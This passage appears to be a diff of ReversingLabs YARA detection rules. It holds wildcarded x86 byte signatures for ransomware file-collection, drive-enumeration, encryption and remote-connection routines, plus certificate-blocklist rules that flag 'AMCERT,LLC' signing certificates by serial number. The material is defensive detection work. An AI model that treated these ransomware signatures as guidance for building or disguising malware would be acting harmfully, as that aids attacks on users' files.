0F 1F 84 00 ?? - ?? ?? ?? 0F 1F 44 00 ?? 8B 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8B 84 24 ?? ?? ?? ?? F0 FF 08 0F 85 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 31 FF BB ?? ?? ?? ?? 85 FF 0F 85 ?? ?? ?? ?? BE ?? ?? - ?? ?? 57 89 5C 24 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 89 7C 24 ?? 89 7C 24 - ?? 6A ?? 57 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 74 24 ?? 66 C7 44 - 30 ?? ?? ?? C7 04 30 ?? ?? ?? ?? 8B 45 ?? 83 C6 ?? F2 0F 10 44 24 ?? 89 74 24 ?? 8B - 08 8B 58 ?? F2 0F 11 44 24 ?? 8B 44 24 ?? 89 4C 24 ?? 29 F0 39 D8 73 ?? 53 56 8D 44 - 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8B 44 24 ?? 01 F0 53 FF 74 24 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? F2 0F 10 44 24 ?? 01 DE 89 B4 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? - ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 56 53 57 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 0F B6 84 24 ?? ?? ?? ?? 3C ?? 88 44 24 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 - ?? ?? ?? ?? 50 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7C 24 ?? 85 - FF 0F 84 ?? ?? ?? ?? 8B 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 5C 24 ?? 53 E8 ?? ?? ?? ?? 83 - C4 ?? 53 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 44 - 24 ?? 8B 4C 24 ?? 8B 5C 24 ?? 85 F6 89 44 24 ?? 89 4C 24 ?? 74 ?? 6A ?? 56 57 E8 ?? - ?? ?? ?? 83 C4 ?? 85 DB 74 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? - 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 85 C0 74 ?? 6A ?? 50 FF 74 24 - } - $encrypt_files_full_v1_p1 = { - 55 89 E5 53 57 56 83 E4 ?? 81 EC ?? ?? ?? ?? 89 54 24 ?? 89 4C 24 ?? 6A ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 89 C7 89 44 24 ?? - 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 47 ?? 89 44 24 ?? EB ?? 66 2E 0F - 1F 84 00 ?? ?? ?? ?? 0F 1F 44 00 ?? 8B 06 01 F8 53 FF 74 24 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 01 DF 89 7E ?? 8B 7C 24 ?? 68 ?? ?? ?? ?? 57 FF 74 24 ?? 8D 44 24 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F 84 ?? - ?? ?? ?? 8B 45 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? F2 0F 10 40 ?? F3 0F 7E 48 ?? F2 - 0F 11 41 ?? F2 0F 10 40 ?? 66 0F D6 49 ?? F2 0F 11 41 ?? F2 0F 10 00 8B 42 ?? F2 0F - 11 01 F3 0F 7E 02 89 44 24 ?? A1 ?? ?? ?? ?? 66 0F D6 44 24 ?? 0F B6 00 3C ?? 75 ?? - E8 ?? ?? ?? ?? F2 0F 10 44 24 ?? F3 0F 7E 4C 24 ?? 8B 44 24 ?? 0F B6 5C 24 ?? 0F B7 - 54 24 ?? 81 FE ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 - 44 24 ?? 66 0F D6 8C 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 - 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 - ?? F2 0F 11 44 24 ?? F3 0F 7E 44 24 ?? 89 41 ?? 66 0F D6 41 ?? C7 41 ?? ?? ?? ?? ?? - C7 01 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 - 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 - 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 - 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 88 59 ?? 66 89 51 ?? C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 89 F0 89 7C - } - $encrypt_files_full_v1_p2 = { - 24 ?? 89 7C 24 ?? C1 E8 ?? 89 44 24 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 89 F3 83 E3 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 3C ?? 75 ?? 8D 4C - 24 ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? F3 0F 6F 64 - 24 ?? F3 0F 6F 94 24 ?? ?? ?? ?? F3 0F 6F 84 24 ?? ?? ?? ?? F3 0F 6F BC 24 ?? ?? ?? - ?? B8 ?? ?? ?? ?? 66 0F 6F F4 66 0F 6F DA 66 0F 6F E8 66 0F 7F 7C 24 ?? 0F 1F 84 00 - ?? ?? ?? ?? 66 0F FE F3 48 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? 66 - 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB - D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? - 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF ?? 66 0F 6F CB 66 0F - 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 - ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 - 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 - F5 ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF - ?? 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 0F 85 ?? ?? ?? ?? 66 0F FE - 7C 24 ?? 66 0F 7E C0 66 0F FE F4 66 0F FE DA 66 0F FE E8 40 F3 0F 7F B4 24 ?? ?? ?? - ?? F3 0F 7F 9C 24 ?? ?? ?? ?? F3 0F 7F BC 24 ?? ?? ?? ?? F3 0F 7F AC 24 ?? ?? ?? ?? - 89 84 24 ?? ?? ?? ?? 89 F2 31 C9 83 E2 ?? 83 FB ?? 8D 04 17 0F 82 ?? ?? ?? ?? 31 C9 - } - $encrypt_files_full_v1_p3 = { - 83 FB ?? 72 ?? 03 54 24 ?? 89 F7 89 D9 83 E7 ?? 89 7C 24 ?? 29 F9 31 FF 66 2E 0F 1F - 84 00 ?? ?? ?? ?? 66 90 F3 0F 6F 44 3A ?? F3 0F 6F 94 3C ?? ?? ?? ?? F3 0F 6F 0C 3A - F3 0F 6F 9C 3C ?? ?? ?? ?? 66 0F EF D0 66 0F EF D9 F3 0F 7F 54 3A ?? F3 0F 7F 1C 3A - 83 C7 ?? 39 F9 75 ?? 8B 54 24 ?? 85 D2 74 ?? 83 FA ?? 72 ?? 89 F2 89 CF 89 D9 83 E2 - ?? 29 D1 90 F3 0F 7E 04 38 F3 0F 7E 8C 3C ?? ?? ?? ?? 66 0F EF C8 66 0F D6 0C 38 83 - C7 ?? 39 F9 75 ?? 85 D2 74 ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 0F 1F 40 ?? 0F B6 94 0C - ?? ?? ?? ?? 30 14 08 41 39 CB 75 ?? 88 9C 24 ?? ?? ?? ?? 89 F3 8B 74 24 ?? 8B 46 ?? - 8B 7E ?? 29 F8 39 D8 0F 87 ?? ?? ?? ?? 53 8B 7C 24 ?? 57 56 8D 44 24 ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 0F 84 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 89 54 - 24 ?? 89 4C 24 ?? 88 44 24 ?? A1 ?? ?? ?? ?? 0F B6 00 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 0F 84 ?? ?? ?? ?? F2 0F 10 44 24 ?? 89 C7 BB ?? ?? ?? ?? F2 0F 11 00 EB - ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 57 FF 74 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 - ?? 3C ?? 75 ?? 83 7C 24 ?? ?? 74 ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? 3C ?? 75 ?? - 8B 5C 24 ?? 8B 73 ?? 8B 3B 8B 06 57 FF D0 83 C4 ?? 8B 46 ?? 85 C0 74 ?? FF 76 ?? 50 - 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 31 FF 6A ?? 68 ?? - ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 F8 89 DA 8D 65 ?? 5E 5F 5B 5D C3 - } - $encrypt_files_full_v2_p1 = { - 55 89 E5 53 57 56 83 E4 ?? 81 EC ?? ?? ?? ?? 89 D7 89 4C 24 ?? 6A ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 89 C3 89 44 24 ?? 0F 85 - ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 43 ?? 89 7C 24 ?? 89 44 24 ?? EB ?? 66 - 2E 0F 1F 84 00 ?? ?? ?? ?? 0F 1F 00 8B 06 01 F8 53 FF 74 24 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 01 DF 8B 5C 24 ?? 89 7E ?? 89 F7 68 ?? ?? ?? ?? 53 FF 74 24 ?? 8D 44 24 ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F - 84 ?? ?? ?? ?? 8B 45 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? F2 0F 10 40 ?? F3 0F 7E 48 - ?? F2 0F 11 41 ?? F2 0F 10 40 ?? 66 0F D6 49 ?? F2 0F 11 41 ?? F2 0F 10 00 8B 42 ?? - F2 0F 11 01 F3 0F 7E 02 89 44 24 ?? A1 ?? ?? ?? ?? 66 0F D6 44 24 ?? 0F B6 00 3C ?? - 75 ?? E8 ?? ?? ?? ?? F2 0F 10 44 24 ?? F3 0F 7E 4C 24 ?? 8B 44 24 ?? 8D 8C 24 ?? ?? - ?? ?? 0F B7 54 24 ?? 81 FE ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? - 66 0F D6 8C 24 ?? ?? ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F 11 84 - 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? F2 0F 10 44 24 ?? F2 0F - 11 44 24 ?? 89 41 ?? F3 0F 7E 44 24 ?? 0F B6 44 24 ?? 66 0F D6 41 ?? C7 41 ?? ?? ?? - ?? ?? C7 01 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? - ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? - ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? - ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 88 41 ?? 66 89 51 - ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 89 F0 - } - $encrypt_files_full_v2_p2 = { - 89 5C 24 ?? 89 5C 24 ?? C1 E8 ?? 89 44 24 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 89 F3 83 E3 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F B6 00 3C ?? 75 ?? - 8D 4C 24 ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 00 F3 0F 6F 64 - 24 ?? F3 0F 6F 94 24 ?? ?? ?? ?? F3 0F 6F 84 24 ?? ?? ?? ?? F3 0F 6F BC 24 ?? ?? ?? - ?? B8 ?? ?? ?? ?? 66 0F 6F F4 66 0F 6F DA 66 0F 6F E8 66 0F 7F 7C 24 ?? 0F 1F 84 00 - ?? ?? ?? ?? 66 0F FE F3 48 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? 66 - 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB - D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 F5 ?? 66 0F 72 D1 ?? - 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF ?? 66 0F 6F CB 66 0F - 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 6F CD 66 0F 72 F5 - ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F EF DF 66 0F 6F CB 66 0F 72 F3 ?? 66 - 0F 72 D1 ?? 66 0F EB D9 66 0F FE F3 66 0F EF EE 66 0F 70 F6 ?? 66 0F 6F CD 66 0F 72 - F5 ?? 66 0F 72 D1 ?? 66 0F EB E9 66 0F FE FD 66 0F 70 ED ?? 66 0F EF DF 66 0F 70 FF - ?? 66 0F 6F CB 66 0F 72 F3 ?? 66 0F 72 D1 ?? 66 0F EB D9 0F 85 ?? ?? ?? ?? 66 0F FE - 7C 24 ?? 66 0F 7E C0 66 0F FE F4 66 0F FE DA 66 0F FE E8 40 F3 0F 7F B4 24 ?? ?? ?? - ?? F3 0F 7F 9C 24 ?? ?? ?? ?? F3 0F 7F BC 24 ?? ?? ?? ?? F3 0F 7F AC 24 ?? ?? ?? ?? - 89 84 24 ?? ?? ?? ?? 8B 44 24 ?? 89 F2 31 C9 83 E2 ?? 83 FB ?? 8D 04 10 0F 82 ?? ?? - ?? ?? 31 C9 83 FB ?? 72 ?? 03 54 24 ?? 89 F7 89 D9 83 E7 ?? 89 7C 24 ?? 29 F9 31 FF - } - $encrypt_files_full_v2_p3 = { - 0F 1F 84 00 ?? ?? ?? ?? F3 0F 6F 44 3A ?? F3 0F 6F 94 3C ?? ?? ?? ?? F3 0F 6F 0C 3A - F3 0F 6F 9C 3C ?? ?? ?? ?? 66 0F EF D0 66 0F EF D9 F3 0F 7F 54 3A ?? F3 0F 7F 1C 3A - 83 C7 ?? 39 F9 75 ?? 8B 54 24 ?? 8B 7C 24 ?? 85 D2 74 ?? 83 FA ?? 72 ?? 89 F2 89 CF - 89 D9 83 E2 ?? 29 D1 66 2E 0F 1F 84 00 ?? ?? ?? ?? 0F 1F 00 F3 0F 7E 04 38 F3 0F 7E - 8C 3C ?? ?? ?? ?? 66 0F EF C8 66 0F D6 0C 38 83 C7 ?? 39 F9 75 ?? 8B 7C 24 ?? 85 D2 - 74 ?? 66 2E 0F 1F 84 00 ?? ?? ?? ?? 0F B6 94 0C ?? ?? ?? ?? 30 14 08 41 39 CB 75 ?? - 88 9C 24 ?? ?? ?? ?? 89 F3 8B 47 ?? 89 FE 8B 7F ?? 29 F8 39 D8 0F 87 ?? ?? ?? ?? 53 - 8B 5C 24 ?? 53 56 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 89 F7 3C ?? - 0F 84 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 89 54 24 ?? 89 4C 24 ?? 88 44 24 ?? A1 ?? - ?? ?? ?? 0F B6 00 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? F2 0F - 10 44 24 ?? 89 C7 BB ?? ?? ?? ?? F2 0F 11 00 EB ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 53 FF - 74 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 44 24 ?? 3C ?? 75 ?? 83 7C 24 ?? ?? 74 ?? - BB ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 8B 5C 24 ?? 8B 73 ?? 8B 3B 8B 06 57 - FF D0 83 C4 ?? 8B 46 ?? 85 C0 74 ?? FF 76 ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A - ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 31 FF 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 F8 89 DA 8D 65 ?? 5E 5F 5B 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:bc:6a:18:12:e0:01:36:24:69:54:11:08:97:3b:bd:52" or pe.signatures [ i ] . serial == "bc:6a:18:12:e0:01:36:24:69:54:11:08:97:3b:bd:52" ) and 1623801600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Bde1D6Dc3622724F427A39E6A34F5124 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "6b6958c0-3b43-5c17-9354-d0e2326b97fd" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12350-L12368" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "f1cf0b6855269a771447a0b38f4a02996b6527d7df4b143b69598ed591719ca0" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $collect_files_recursively_p* ) ) and ( $get_valid_drives ) and ( ( ( all of ( $encrypt_files_full_v1_p* ) ) ) or ( ( all of ( $encrypt_files_full_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:bd:e1:d6:dc:36:22:72:4f:42:7a:39:e6:a3:4f:51:24" or pe.signatures [ i ] . serial == "bd:e1:d6:dc:36:22:72:4f:42:7a:39:e6:a3:4f:51:24" ) and 1628553600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Asn1Encoder : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5C9F5F96726A6E6Fc3B8Bb153Ac82Af2 : INFO FILE { meta: - description = "Yara rule that detects ASN1Encoder ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5fa361e5-4ab0-5856-92b2-6f434e33c350" - date = "2020-06-26" - modified = "2020-07-15" + id = "f7619c39-33a0-5f99-b911-9d8a61a4683d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ASN1Encoder.yara#L1-L136" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12370-L12386" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "000fd846fa5f09af19ead4623bb5a8eb51cdb4c751013569bf070710d3e0d61d" + logic_hash = "a61bcc4a90a75a429366e3f93929005b67325eccc6cad3df6b7a0c3692597828" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "ASN1Encoder" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 0F B6 - 84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ?? - 83 C4 ?? 83 C3 ?? 46 83 FE ?? 72 ?? 8B 5C 24 ?? BE ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 50 - 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50 - E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 8B F0 85 FF 74 ?? A1 ?? ?? ?? ?? 0F B6 04 06 50 B8 ?? - ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 C3 ?? 46 3B F7 - 72 ?? 8B 5C 24 ?? A1 ?? ?? ?? ?? BE ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? 56 50 E8 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B FB 8B F0 0F B6 - 84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 57 E8 ?? ?? ?? ?? - 83 C4 ?? 83 C7 ?? 46 83 FE ?? 72 ?? A1 ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? BB ?? ?? ?? - ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ?? - ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 51 ?? 66 8B 01 - 83 C1 ?? 66 3B C6 75 ?? 2B CA 8B 15 ?? ?? ?? ?? D1 F9 8D 72 ?? 8A 02 42 84 C0 75 ?? - 8B 3D ?? ?? ?? ?? 2B D6 8D 04 0A 8D 34 45 ?? ?? ?? ?? 56 6A ?? FF D7 50 FF 15 ?? ?? - ?? ?? 8B D8 8D 04 36 50 6A ?? 89 5C 24 ?? FF D7 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? - ?? 8B F8 FF 35 ?? ?? ?? ?? 89 7C 24 ?? 68 ?? ?? ?? ?? 56 53 E8 ?? ?? ?? ?? 33 C9 89 - } - $remote_connection_p2 = { - 44 24 ?? 83 C4 ?? 89 8C 24 ?? ?? ?? ?? 8B D9 85 C0 7E ?? 8B 44 24 ?? 0F B7 04 58 66 - 89 84 24 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? BE - ?? ?? ?? ?? 83 C3 ?? A5 A5 66 A5 EB ?? 8D 94 24 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ?? - 66 3B C1 75 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3 - A5 8B CA 83 E1 ?? F3 A4 33 C9 8B 7C 24 ?? 43 3B 5C 24 ?? 7C ?? FF 74 24 ?? 51 FF 15 - ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6 FF 35 ?? ?? ?? ?? 33 C0 50 FF 15 ?? ?? ?? ?? - 50 FF D6 8B 5C 24 ?? 53 33 DB 53 FF 15 ?? ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ?? - ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF D6 8B 5C 24 ?? 89 3D ?? ?? - ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF E9 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 - 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 8B F3 89 5C 24 ?? 8D 4E ?? 8A 06 46 84 - C0 75 ?? 8B 3D ?? ?? ?? ?? 2B F1 68 ?? ?? ?? ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 89 - 44 24 ?? 85 DB 0F 84 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? - ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B C8 8B F8 3B FE 73 ?? 81 F9 ?? ?? ?? ?? 74 ?? FF 74 - 24 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 04 1F 50 E8 - } - $encrypt_files_p1 = { - 8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 8B CA 83 - E1 ?? 68 ?? ?? ?? ?? F3 A4 50 FF 15 ?? ?? ?? ?? 8B D8 33 FF 89 5C 24 